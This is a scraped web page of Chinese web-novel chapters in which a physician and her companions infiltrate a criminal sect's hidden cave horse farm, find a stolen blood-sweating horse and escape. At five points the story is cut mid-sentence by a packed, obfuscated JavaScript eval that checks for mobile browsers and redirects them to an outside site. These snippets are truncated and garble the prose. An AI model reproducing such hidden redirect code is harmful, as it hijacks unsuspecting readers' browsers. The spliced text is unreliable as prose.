听着他这般客客气气的,冬梅想拒绝又有些于心不忍,“冬梅。” “哦,冬梅姑娘!”欧阳恭再度拱手,“多谢相救。” 冬梅:“??” 她救了吗? 有吗? 此前只想着救众人脱困,还真是没注意到救谁,反正救谁不是救,只要能活就行,那么乱糟糟的状况,她哪儿分得清谁是谁? “客气了!”冬梅回过神来,拱手回礼。 陈识月与迎春对视一眼,但都没有多说什么,只是静静的站了一会,便选择朝着一条道走去。 味儿,是从这边传出来的。 幽暗的小道,十分狭窄,进出不易。 “大家小心脚下,尽量别发出声音。”林序叮嘱。 陈识月走在前面,后面跟着迎春,每个人都是十分小心,生怕弄出点动静来。 “等会!”陈识月止步。 林序心惊,“怎么了?月大夫是发现了什么?” “这边……”陈识月嗅了嗅,边上有个小洞,但显然是没办法过人的,不过可以凑过去看看,到底有什么异常? 想了想,她凑了过去,燃起了火折子查看,“这是什么?” 林序上前,从小洞里摸出一把干草来,凑到鼻尖轻嗅,忽然笑了,“月大夫,是草料。” 此言一出,陈识月惊喜不已。 草料? “是之前他们带走的那批草料吗?”陈识月大喜过望,“汗血马,真的在这里?” 林序环顾四周,“汗血马的边上势必有人严加看守,大家更得小心行事,切莫大意。” 第三百五十五章 在洞窟里开马场? 草料都在附近,那汗血宝马肯定也在附近,就是不知道这路要怎么绕过去,且必须得小心谨慎,避免再度暴露,到时候又得被追杀被追赶。 这帮长乐门的人,就跟狗皮膏药似的,怎么甩都甩不掉。 陈识月闻着味就过去了,“跟上我。” 味道是有尽头的。 陈识月能闻出来,草料的新鲜程度。 时间久了,干草味淡,刚挪来的那些,则还算新鲜,所以青草气很重,只要闻着味过去,想必应该有所获。 林序不吱声,迎春和冬梅则寸步不离。 她们,都相信陈识月。 “这边!”陈识月低语,“好像是这里。” 应该是入口位置吧? 瞧着,是石块。 想过去得把这块巨石挪开。 又或者,这是一道石门? “大家找找看,有没有机关什么的?”陈识月环顾四周,“总不能真的要我们打碎石头进去吧?” 众人开始摸索着周围的岩壁,不管陈识月和林序的判断是对是错,只要照做便是了。 “这地方……还要设机关,到底是怎么想的?”欧阳恭皱起眉头,音色带着几分狐疑,“这帮人还真是见不得光的老鼠,终有一日,非得连锅端了不可!” 陈识月想了想,“经此一事,等我们走了之后,他们应该也不会再在这里活动了吧?若要端了,尚需里应外合,最好是现在这个时候。可惜,我们都出不去。” 他们现在陷在这里,叫天天不应叫地地不灵,只能靠着自己才行! “今日不成,不代表以后也不成,总归是要让他们知道厉害。”欧阳恭不信这个邪,“作恶多端之人,理该受到律法的严惩。大人清正廉明,也一定不会放过这些人的!” 林序看了他一眼,“那你得先有命活着出去,其次你还得有这个本事赢得了那几个怪人,至少在我这里,暂时尚无胜算。看得出来,那两个功夫不弱,甚至于有点邪门,想要对付他们可不是小事。” “那两个黑衣人……”欧阳恭开口,“真是邪了门了。” 冬梅补充一句,“还有一条蛇。” “这该死的畜生!”欧阳恭啐了一口。 林序好像摸到了什么,“等会,在这里!” 音落瞬间,林序的手冷不丁摁了下去。 只听得“咔嚓”一声响,眼前这块巨石慢慢的挪开。 众人全都愣在当场,目不转睛的看向逐渐打开的新世界。 眼前不是乱石,不是黑暗。 相反的,一片青青草地。 石门开,好像踏入了另一番天地,一时间还真是让人措手不及。 “这……”冬梅狠狠揉搓着眼睛,“我没看花眼?没在做梦吧?” 迎春也是不敢相信自己的眼睛,这可是洞窟,这些人到底是如何做的,难道说特意在上面开了个口子?这得需要耗费多大的人力物力? 陈识月缓步踏入,林序紧随其后。 所有人都从懵逼的状态回过神来,只是脸色都不太好,尤其是踏入这地方,让人有种……人不如牲畜的卑劣感,他们在边关殊死拼搏,只为护佑家国太平。 可护下来的,却是这样的一片天地,让人情何以堪啊? “什么感觉?”陈识月问。 林序舔了舔唇,“有点心寒。” “弄死他们,就不会心寒了。谁让你心寒,你就干掉谁。”陈识月这语气,几乎跟霍青行是一模一样的,道理粗暴简单,不需要任何的拐弯抹角。 林序忽然笑了,“竟是与少将军一般口吻,说得对极了!” 进去之后,所有人都小心翼翼的。 这地方不是很大,但也不小,倒像是个圈起来的马场,远处就是马厩,但那绝非汗血宝马,不是他们要找的。 “分开找,一个时辰之后,不管找没找到,都在这里汇合。”林序下令。 众人颔首,“是!” 一起围着跑,不是个事。 分开能降低被发现的风险,还能尽快找到想找的…… 陈识月走到了马厩附近,此处有一小圈小树林,不大,毕竟这地方就这么点,说宽敞也实在是谈不上,但总归弄得像模像样的。 这里弄得倒是干净整洁,可见是有专人打理,马儿的鬃**被梳得油光水滑,伺候得肌肉强健,瞧着这大高个,还有这眼神…… “像是战马。”林序皱起眉头。 陈识月猛地转头看他,“战马?” “嗯!”林序点点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058107|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,没让陈识月靠太近,“不要过去,这是专人伺候的马匹,肯定会认人的,你是陌生面孔,靠近就会挨马蹄子,会受伤的!” 陈识月没敢靠近,只是绕着马厩,鬼鬼祟祟的走了一圈。 最后,她看向石槽里的草料。 虽然这草料也不赖,但她可以肯定,这绝对不是之前那一批草料,饲养汗血宝马的草料,须得是最好的那一批,此番……只能算是中上。 陈识月退到了草垛后面,瞧了一眼身边的迎春,又看了看不远处草垛后面的林序,面色不是太好看,打了个“走”的手势。 闻言,林序点头。 一行人快速离开。 不远处有一道铁门,铁门上了锁,外头有不少人看着,可见主人家对这里面的东西的重视。 难道说,汗血宝马就在这里面? 那可真是奇了怪了,这些马是怎么被送进来的?就这么一道石门,只够人的进去,马匹是塞不进来的,除非有另一道门,以供马匹进出。 “我怀疑这里有出路。”陈识月的想法,与林序不谋而合。 林序环顾四周,“出路肯定在附近,那么宝贝汗血宝马,肯定不会让马受伤,所以这门势必小不了,且这条道肯定直通洞窟之外。” 只是不知道,这条秘门会在哪儿? “你们找找秘门在哪,我得想办法看看,这道铁门里到底锁着什么?”林序叮嘱,“务必小心,不要打草惊蛇。” 陈识月点头,“放心,我们心中有数。” 如此,林序便放心的离开。 待林序一走,陈识月便将身后的护卫分成两拨。 “冬梅,你带着人朝着这边过去,你们两位从那边过去,我与迎春直行。”陈识月深吸一口气,三头齐出,能尽快解决这些事情。 她不想再在这里瞎折腾了,出去才是上上策。 众人当即领命而去,尽量速战速决。 密门可能在树上,可能在墙上,可能是乱石堆里,什么状况都有可能发生,眼下最要紧的是时间紧迫,不能有丝毫的犹豫。 迎春纵身一跃,便挟着陈识月上了树。 瞧着底下的场景,陈识月一颗心砰砰乱跳,这里有人巡逻,各个披甲执锐,瞧着真像在军中。 第三百五十六章 她也玩兵不厌诈 巡逻的守卫过去之后,迎春这才带着陈识月下来,稳稳落地之后,二人便快随朝前而去,这件事得速战速决才好。 当然,林序也足够争气。 虽然有守卫时刻巡逻,但只要是人,就有疏忽大意的时候。 高耸的石墙,将内外隔离开来。 林序纵身一跃,轻飘飘的落在树梢,站在这里能清晰的看见围墙内的场景,隐约可见里面的场景,马厩、小型的跑场、专用的棚子。 石墙一围,里面的一切几乎都是为了某一匹马而建,可见马的主人是何等的小心谨慎,怎样的视若珍宝,恨不能将最好的都给它。 别人是金屋藏娇,而这人……应是马痴,恨不能金屋藏马。 林序皱起眉头,努力的用目光去搜寻汗血宝马的踪迹,然而这里面有不少人来来去去的,就是没瞧见马的踪迹。 心里,有点慌乱。 他们不能在这里久留,得尽快离开才好,所以这件事宜早不宜迟,宜快不宜慢。 “谁!谁在那里?” 有人忽然喊了一声,紧接着便是凌乱的脚步声,急急忙忙的直扑向一角。 到了这会,陈识月他们也是停了下来,纷纷止步不前,没敢吱声,不知道究竟发生了何事?到底是谁被发现了? 怎么回事? 终于,林序看明白了。 是欧阳恭。 欧阳恭被人发现了! 坏了! 林序心里着急,但一时半会还不敢下去,若是此刻下去,必定会被人逮个正着,不但救不了人,还会暴露自身。 陈识月那边应该还没找到暗门的所在,必须得给她留出时间来,不能急,不能急,一定不能急。 欧阳恭在前面跑,那些人在后面追,这里林子多,到处乱窜倒也是个法子,一时半会是不会被抓住的,他自身也是会手脚功夫的,躲藏的时候还能还个手,让这帮狗东西摔个人仰马翻。 陈识月有些着急,“迎春,我们要加快了。” 看得出来,欧阳恭撑不住多久。 估计是因为被发现了,所以干脆现身,免得连累其他人,所以眼下就他一个人到处乱窜,跟个窜天猴似的。 可惜,石门那边已经被人拦住,他想冲出去也没机会,只能在这里到处跑。 “迎春!”陈识月觉得这样下去不是个事,“你去办件事。” 迎春旋即上前,将耳朵凑过来。 不多时,迎春点点头,笑盈盈的走开。 有些招数虽然缺德,但不失为好法子。 浪费点怎么了? 长乐门昧了那么多的黑心钱,出点血实属活该。 欧阳恭觉得自己快要断气了,这些人各个武艺高强,比之前在外面遇见的,更是了不得,这里果真是养着最要紧的东西,所以看守此处的人都是经过精挑细选的。 所幸,就在他以为自己快要不行的时候,有人厉声高呼,“快,烧起来了!草料烧起来了!” 一句话,让所有人的魂儿都快没了。 留下一些人去抓欧阳恭,其他人赶紧去救火。 这是刚进的一批草料,若是都被烧没了,门主还不得宰了他们?何况,进一批草料不容易,门主把这些马看得跟宝贝眼珠子似的,若是吃不好,饲养不周,后果不堪设想。 所有人都提着水桶往里面冲,浓烟滚滚而出,可见这一把火烧得有点吓人,尤其是之前还没用完的干草,这会燃烧的速度就更快了,都不需要风吹,只要有一点空气,就能哗啦啦的烧。 要是空气烧完了,那就成了浓烟。 等着门一开,空气又进来了,瞬间火光冲天…… “快,快救火!快救火!” 趁着这功夫,林序纵身一跃,稳稳的落在了石墙上,见着墙内的人打开了侧门,大概是想出去看个究竟,尤其是见到了草料室那边浓烟滚滚,更是着急得不行! 天干物燥,起火在所难免。 但是…… 刚进的草料啊! 这要是烧了,万一后续接不上,那还得了? 林序稳稳落下,快速钻进了一旁的灌木丛,其后便开始在里面溜达。 能在洞窟内开一角养马,这还真是个奇人! 马棚外头,依旧有人看守,一个个目光锐利,怀中抱剑,瞧着就不是好惹的。 林序这会身上有伤,若是硬碰硬的话,不清楚能不能赢,但是……时间是个问题,毕竟这是人家的地盘,一旦打起来,那么多人围上来,双拳难敌四手啊! 这可如何是好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061096|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 迎春稳稳落下,惊得林序差点动手。 “姑娘怕里面有诈,所以让我来给公子送点东西!”迎春将一包东西递给他,“姑娘说,最后一包了,省着点用,甩出去的时候记得紧闭口鼻,这东西药倒一百头牛都够了,落地就浪费了。” 林序伸手接过,“这么厉害?” “姑娘的东西自然是厉害,咱可都是亲眼所见,所以公子别不相信,但也要省着点用,用到妙处才好。”迎春有些心疼,“姑娘得这些东西不容易,有些要好几个月才能凑齐全,你可得用好咯!” 林序点点头,“好!” 迎春不能在这里待着,得回到陈识月身边保护,当即转身离开。 有这些东西在,林序的胜算就更大了。 用之前,紧闭口鼻。 但不能上去就用,得趁人不备,毕竟都是习武之人,谁还不懂那些弯弯绕绕呢?用的时候,得在他们都打红了眼之后…… 那个马棚里,肯定有他想要的真相。 林序的出现,让所有的护卫都动了起来,顷刻间将他围拢其中,紧接着便是刀剑相向,一瞬间将林序围成了铁桶之势,只觉得他已然成了困兽。 这么多人抓一个,总归是可行的吧? 林序佯装不敌,这些人更是发了狠的刀剑劈砍,恨不能将他**万段。 这要是抓起来,送到门主跟前,那就是大功一件! 谁不兴奋? 趁此机会,林序纵身一跃而起,顷刻间宛若鲤鱼跃龙门,拂袖洒落,香气扑鼻! 粉末落下的那一刻,底下人猝不及防,想要屏住呼吸,已经来不及了。 底下一声声闷响,林序脚尖都没落地便一个凌空翻,越过了所有人,稳稳落在马棚外头,“一帮蠢货!” 也亏得月大夫的东西,真是好使得很! 马棚里略显昏暗,林序小心翼翼的往内走,忽然间寒光乍现,惊得他慌忙后退,却还是躲闪不及,肩头被削出一道血痕,紧接着便是又一刀迎头劈下。 说是迟那时快,林序旋身退后,身侧的木架被生生劈成两截,所幸避开一劫。 下一刻,他已出剑相迎。 刀剑碰撞,火花四溅。 小小的马棚内,杀气凛冽…… 第三百五十七章 这匹马就是罪证! 高手对决,生死相搏。 林序虽然有伤在身,但那又如何?真的到了动拳脚的时候,什么伤都抛诸脑后,玩命的往前扑,很难得在这样的地方,也能遇见对手。 棋逢敌手,是生死相搏,也是惺惺相惜。 “好功夫!”对方开口。 林序勾唇,“阁下也不弱。” 听出来了,对方是江湖人。 怎么说呢? 江湖人和暗卫是有区别的,跟家里豢养的走狗也是不一样的,应该是受利驱使,又或者是因为什么情分,否则自由惯了的人,怎么可能愿意拘束在这狭窄的一方天地间? 尤其是,这么好的功夫! 功夫越高越喜欢自由,越不可能甘居人下,受人驱使。 “很久都没有遇见过,这么好的对手了!”男人眯起危险的眸子,如虎豹一般展开身躯,做好了随时扑上来的姿势。 他的姿势,是完全进攻的样子,说明他对自己的功夫很有自信! 林序深吸一口气,“敢问阁下尊姓大名?” “赢了我,就告诉你!”男人旋即出手。 林序不遑多让,这个时候不能分心,“好!” 见他回答得如此肯定,男人倒是有了几分不敢置信,在这片地方,能与他不相上下的的确不多,手底下走过几招已经不容易,但……交手过后,他总算是明白自己大概有点轻敌了。 林序都是硬功夫,且用的都是巧劲,毕竟战场上都是硬碰硬居多,但若是刺探敌情的话,就得用巧劲,否则的话就会身陷敌营,到时候只有死路一条。 落在对方的手里,探子都不会有好下场,大刑加身都是家常便饭…… “好俊的功夫!”男人心惊,“阁下非寻常人吧?” 林序一脚踹在他的刀面上,一个巧劲便落在了房梁上,“阁下何尝不是?这般好功夫,居然在这里看马养马,不觉得委屈吗?” 男人横刀而上,险些将横梁劈断,反手便是一刀冲着林序而去。 林序纵身一跃,刀剑触碰,发出了狰狞之声。 “这么好的功夫,不去报效家国,却在这里为人走狗,干下这等畜生不如的勾当,真是可笑!”林序快速冲着前方而去。 男人穷追不舍,“世人多薄情,谈什么家国天下?自己都顾不上了,还要这等大义作甚?” “男子汉大丈夫,当顶天立地,岂能与蛇虫鼠蚁为伍?”林序可不这么认为,“当然,你若自诩鼠辈,我自无话可说。只可惜了这一身好功夫,没用在正道上!” 男人切齿,“你放屁!” “放你的狗屁!”林序也恼了,他正挨个马厩想查看过去,可这厮穷追不舍,怎不叫他恼火,“老子杀敌无数的时候,你还在给长乐门的人舔屁股,到底是谁跪久了站不起来,心里没数吗?祖宗八辈都以你为耻,祖坟冒黑烟的怂货。” 男人气急败坏,“你胡说八道什么?” “我胡说八道?你不知道长乐门干了多少丧尽天良的事情吗?”林序切齿,眸色微红,“别跟我说你什么都不知道!既同流合污,自该明白这污水沟里有多少的腌臜?” 男人猛地收刀,立地跟前,“你说什么?” “你不知道自己为谁卖命吗?”林序皱眉,瞧一眼身侧的马厩。 没有! 马厩里没有他要找的汗血宝马。 “我从不与人卖命,只不过是守住这里而已,任何人不得擅闯。”男人兴许对林序的话,生出了疑虑,“你说……长乐门?” 林序不解,“你不知道这是长乐门藏污纳垢之地?” 男人:“……” “不会吧不会吧,你都给人卖命了,还不知道为谁卖命?”林序差点一口气没上来,之前与他对战时,胳膊都被震得发麻,这厮的力气不容小觑,倒是和冬梅有得一比。 男人没说话。 “长乐门。”林序盯着他,不知道他这话到底是真是假? 是为了麻痹敌人? 还是真的不知情? “你不会不知道长乐门吧?”林序往后退。 这边马厩没有,但是那边还有一个马厩呢! “长乐门只管收钱,不管杀谁,也不管缘由,草菅人命,甚至于强抢民女,滥杀无辜……”林序每说一句,都仔细观察男人的脸色变化。 男人是个粗汉,五官也生得粗糙,身形魁梧而健壮,此刻握着大刀的手,手背上青筋凸起,神色冷到了极致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061097|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“长乐门?我没有。” “你说没有就没有?你出去看看,哪儿不是长乐门的人?他们在这里杀了我不少弟兄,还囚了不少江湖人,此前我们就在囚室那边,发现了被他们施以酷刑的无辜之人。”林序嗤笑,“你没有动手,但你也是纵恶行凶之一。” 男人:“……” 半晌,他才发现林序的行径,“你在找什么?” 林序心下警觉,“你猜!” “你在找那匹马吗?”男人步步逼近,“你在骗我!” 林序目光都沉,“老子上阵杀敌的时候,你特妈还在为虎作伥呢!骗你有什么好处?” 音落瞬间,林序业已出手。 下一刻,男人身形一僵,竟是快速避开,并未还手,“你是行伍之人?” 林序没回答,只想速战速决。 情况不等人,外头还有月大夫他们等着呢! 林序转身就跑,直接推开了另一道门,瞬时愣在了当场。 “看到了!”身后的男人,阴测测的开口,“你就是来找这一匹马的吧?” 林序没说话。 “找一匹马,如此兴师动众,甚至于忘我生死,值得吗?”男人忽然就不明白了,“不就是一匹马,你这看得跟眼珠子似的……” “你懂什么?”林序骤然转身,眸色猩红如血,“你可知道这匹马的主人干了什么?他杀了我好几个弟兄,还把我另一个弟兄剜目削耳,割舌,断四肢!我那些弟兄在战场上,为了家国不惜生死,没想到却落得如此下场,没死在敌人的手里,却死在了自己人手里,你说……值不值?” 男人哑然。 那一瞬,他面露愧色,竟是下意识的后退两步,“抱歉。” “一句抱歉,你觉得就能抚平一切吗?不可能!”林序死死盯着被养得油光水滑的汗血宝马,恨意直冲天灵盖,所有的推断都随着这匹马的出现,变成了板上钉钉的罪证。 男人想了想,“在下大刀任六,并非胡作非为之人,只是此前家母病重,得一人救治,欠了一份人情。母亲后来亡故,我来报恩,才答应对方在此处守护这匹马六年。没想到,竟还有这样的事情?” 最后那一句,他说得很轻很轻。 第三百五十八章 以后还有用得着他的地方 然而,现实并没有给他们更多悲春悯秋的时间,外头忽然闹得更厉害了些,显然是更多人被发现了,又或者是欧阳恭扛不住了,陈识月他们不得不出手相救。 “坏了!” 林序慌忙朝着外头冲,却在与任六打照面的时候,又堪堪停住,四目相对的瞬间,再度剑拔**张。 然而下一刻,任六侧开身子,竟是让了他。 林序:“??” “我都说了,我只是负责守住这里,你又没有把马匹带走,我为什么还要拦着你?”任六深吸一口气,仿佛是做了重大的决定,“我是受人之恩,但也不是个是非不分之人,事实如何我会去查,若是真如你所言,我亦不会袖手旁观。” 林序一怔,上前两步,又回头看他,“别再助纣为虐了,他们虐杀了很多人,养蛇养熊伤人,你若不信可去暗河边蹲守,他们不只是祸害百姓,甚至于可能还有更大的阴谋。言尽于此,好自为之!” 语罢,林序快速冲了出去。 事情弄清楚了,但是人还是得救。 外头,已经乱成了一锅粥。 如林序所料,欧阳恭身负重伤,陈识月他们不得不出手。 这马场就这么大,跑又没地方跑,所有人都在这里面兜圈子,何况对方人数众多,且看守马场的人竟都是武艺高强之辈。 本就有伤在身,哪儿经得起这般**。 迎春将陈识月放在了树上,兀自与冬梅一道,死活守着这棵树。 守着树,比守着人要安全得多。 树能砍两下,人可挡不住两下。 林序冲出来的时候,看到的便是这一幕,二话不说就动手,这个时候已经管不了其他,只能先保命为上。 “林序,如何?”陈识月问。 林序咬着牙,“跟预料的一模一样。” 陈识月不说话了,只狠狠踹了树干一脚。 这帮该死的东西! 蓦地,陈识月好似看到了什么,不由得眉心微蹙,转而慌忙冲着迎春喊,“迎春,朝东走,快!” 迎春心惊,转而了悟,“大家跟我走!” 音落瞬间,迎春已经飞身上树,抱起陈识月就跑。 林序顾不得其他,旋即带着所有人紧随其后,都这个时候了,还有什么可犹豫的? 护卫搀起了欧阳恭,撒腿就跟上。 边打边退,实在是没法子了。 唯一庆幸的,是他们把草料给烧了,等到这些人回过神的时候,还得重新准备草料,要是准备不上,那可就糟糕咯! 长乐门的门主不是最爱养马吗? 那就让他的爱马,都饿肚子,却又无计可施! 陈识月落在了墙角,这里是一座假山,假山有个洞,“从这里进去。” 迎春没有任何的犹豫,姑娘说什么那就是什么。 说进去,那便进去! 假山的山洞,便是出去的秘门,也算是侧门。 陈识月在前面冲,后面的人都紧随其后,最后一个人进去之后,忽然间往外丢了一样东西,冷不丁冒起了白烟,阻绝了追来的守卫。 那一瞬间,所有人都愣住,没敢再靠近。 出去了! 真的出去了! “月大夫,你如何找到这秘门的?”林序有些诧异。 陈识月看向他,压低了声音,“是跟着你出来的那人,给咱指的路。” 这话可不敢大声说,只觉得他们这群人之中,似乎有叛徒! 为什么每一次,都会被发现? 哦不,更确切的说,是跟在林序身边的这些人之中,有叛徒! 陈识月带着迎春和冬梅一行人,做什么都没大碍,但自从跟林序汇合以后,好像处处受掣肘,每次都被人逮个正着,这绝对有问题! 可…… 瞧着众人都身负重伤的样子,一时间还真是很难辨别,到底是谁在捣鬼? 这一点,林序也想到了。 环顾四周,暂时没办法揪出来,只能先出去再说。 “他叫大刀任六。”林序低语。 陈识月自然不认识这样的任务,但听着倒不像是坏人,“他给我指的路。” “还算是有点男儿血性,说不定哪天有用得到他的地方。”林序回过神来,“我们快走!” 这汗血马的主人,十有**便是长乐门的门主。 那个藏匿在黑暗中,看不清容脸,却指挥一切,操纵一切的幕后黑手! 他,到底是谁? 也许这个答案只有安信知道! 要不然的话,安信不会落得如此下场…… 不知道是不是因为那一颗迷雾弹的缘故,后面的人竟是没有追 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064638|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,而且更让人诧异的是,前面就是洞口。 什么洞口? 出去的洞口。 站在这里,能清晰的看到洞口的光亮,能看到来来**的守卫身影,只要从这里出去,他们就算是离开了洞窟,便算是安全了吧? 外面,天高任鸟飞。 “先出去!”林序深吸一口气,“我来!” 冬梅站出来,“我跟你去!” “我保护姑娘!”迎春从始至终都很清楚自己的使命,不管发生何事,她唯一的任务就是保护陈识月,绝不逞强,永远清醒。 如此,林序和冬梅便放心了。 要解决守卫不难,后面那些人不知道为何没追来,所以守卫都没有惊动,隔着一堵厚厚的石墙,谁也不知道这马场里面出了什么事。 冬梅下手快,林序动手狠。 这些人都还来不及喊两声,就被快速制服,直接撂倒在地。 “月大夫,走!” 林序一招手,陈识月旋即带着人往外冲。 光明就在前方! 今日的天色,可真好啊! 出了洞窟,仿佛连空气都清新了,整个人都是神清气爽的。 陈识月站在树下,大口大口的呼吸着新鲜的空气,“活着的感觉真好!” “虽然跌跌撞撞的,没抓出什么证据来,但我见到了汗血宝马。”林序站在她身侧,“亲眼所见,可真是伤人啊!” 那就说,一切都是真的…… 所有的猜测都有了论据,罪证确凿! 宫里的饲马监,还有一些朝臣,以及长乐门……诸多势力,都是欺上瞒下,里通外敌之辈,抓不完,这些人根本抓不完。 “忽然觉得挺可笑的。”林序讪讪的闭了嘴,大概也不知道还能说什么? 出了洞窟,他们就拼命的赶路,不敢有丝毫的逗留。 陈识月知道林序心中所想,但又无可奈何,人活在世,多少无奈,又有谁说得清楚呢? “快走!”冬梅招招手。 然而,欧阳恭似乎有些撑不住了。 “你没事吧?”冬梅上前。 欧阳恭背上豁开一道口子,此前血流如注,这会衣服都被染红了,但若是停下来疗伤,势必耽误行程,可能牵连所有人。 正因为如此,欧阳恭一直不吱声…… 第三百五十九章 抓住了 没走多远,欧阳恭便支撑不住了,眼一闭直接晕死过去。 “捕头?”林序惊呼,“快,把人先抬到那边树下去。” 他们现在可是在逃命,若是耽误……后面的人追到,是要出大乱子的,到时候那还得了? “迎春,冬梅。”林序开口,“你们这一行人还是先走吧!” 陈识月刚摸出了针包,听得这话不由得一怔,转而冲着林序无奈的叹口气,“他这般模样,若是我走了,怕是活不出这山林。眼下我们还不知身在何处,我们一时半会也出不去,分开也没什么好处。” 话是实话,可林序心里不安。 这深山老林的,的确不安全,他总觉得出来得太容易了点。 事到如今,多思无益。 陈识月动作很麻利,得先给欧阳恭处理伤口。 伤口很深,光止血是不够用的,还是得先缝合,因在外头,很多东西都不齐备,陈识月只能取了一根青丝穿针,赶紧帮着缝合伤口。 欧阳恭已经晕死过去,只偶尔皱一下眉头,没有被别的反应。 见惯了这些场面,迎春和冬梅没有太大的反应,林序还是老样子,不管在哪儿落地,都得先绕着走一圈,看看周遭的状况再说。 所幸,还算周全。 周围都是灌木丛,此处为凹陷处,只要在附近和周遭弄点遮蔽物,倒是可以将这里完美的遮蔽起来,何况后面就是山壁。 融为一体,便是最好的伪装。 简易的枝丫棚子,能遮风避雨,可以让欧阳恭暂时躺在这里休息。 “血暂时止住了,但是这伤口很深,短时间内不宜移动。”陈识月满脸忧心之色,“如果再深一寸,怕是神仙难救。” 这话,让所有人沉默。 欧阳恭差点就**…… 林序与陈识月对视一眼,心里有些迟疑,这话的意思是,在怀疑这条路上,欧阳恭似乎可以排除在外了,没有细作会让自己死在这里吧? 这若是苦肉计,未免苦得太真实了点! 他们出来的时候,是午后,如今这么一耽搁,已经近黄昏。 夜里的山林,是很可怕的存在。 “我去安排今晚的轮守。”林序不多话。 陈识月随他走出了棚子,“我大致都看了一遍,大家的伤势,有些伤得重的,今晚就不必轮守了吧?让他们好好休息,先养伤。” “我知道。”林序会意,“月大夫,你怎么想的?” 陈识月摇摇头,“除了欧阳捕头,其他人都是你们自己挑的,孰是孰非,问题出在哪儿,你应该比谁都清楚。抛却兄弟情义,用心去看,应该会发现端倪吧?” 闻言,林序沉默。 人都是他挑的,都是自己觉得挺值得信任的兄弟,曾几何时也曾脊背相付,生死与共,可若说出卖……还真是有点说不上来的难受。 赤诚之心,终是错付。 陈识月知道他如今的心情,默默的闭了嘴,还是让林序自己去解决罢! 男人之间的感情,不是旁人可以明白的。 陈识月转身离开,趁着天还没完全黑,她在迎春和冬梅的陪伴下,四处转悠一下,且看看有没有什么草药可以临时用上。 还真别说,这林子里倒是有不少宝,止血的药草,疗伤的药草,解毒的药草,不是特别珍贵之物,但眼下这窘境却可立解。 “姑娘什么都会,姑娘真厉害!”冬梅由衷感慨。 陈识月无奈的笑了笑,“我也不是天生就会,是我母亲从小教导,后来又得师父教化,这才能有如今的得心应手。” “姑娘的师父一定很厉害。”迎春笑着抖落草根上的泥。 陈识月点点头,“很厉害,稍加点拨便如醍醐灌顶,受益匪浅,可惜他惯常在外头游历,此刻也不知身在何处?” “那敢情好啊!”迎春道,“游历天下,救天下万民,可是大功德一件呢!” 陈识月笑出声来,“说得对。” 救一人算什么? 救更多的人,才是大夫应该做的事情。 师父一身的好医术,怎可辜负! 回去之后,将药草煮了,外伤内伤一起治,每个人都妥善治疗,其后便剩下了伤势最严重的欧阳恭。 “你们走后,他起了热,但人一直昏睡着没有醒。”护卫如实汇报,“眼下高热退了不少,但还尚有余温。” 冬梅接过了帕子,“交给我吧!” “是!”护卫颔首。 冬梅伸手探了探欧阳恭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16069946|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的额头,“是还有点烫。” 迎春端着汤药上前,竹制的罐子不好灌药,只能以叶片为导引,慢慢的引流到他嘴里,所幸有冬梅帮忙,二人这才将汤药悉数灌入了欧阳恭的嘴里。 “喂药比打架还辛苦,可见伺候男人就是麻烦。”冬梅感慨。 陈识月笑了,“小小年纪,说得这般有经验,倒是小瞧你了!” 冬梅一怔,瞬时红了脸。 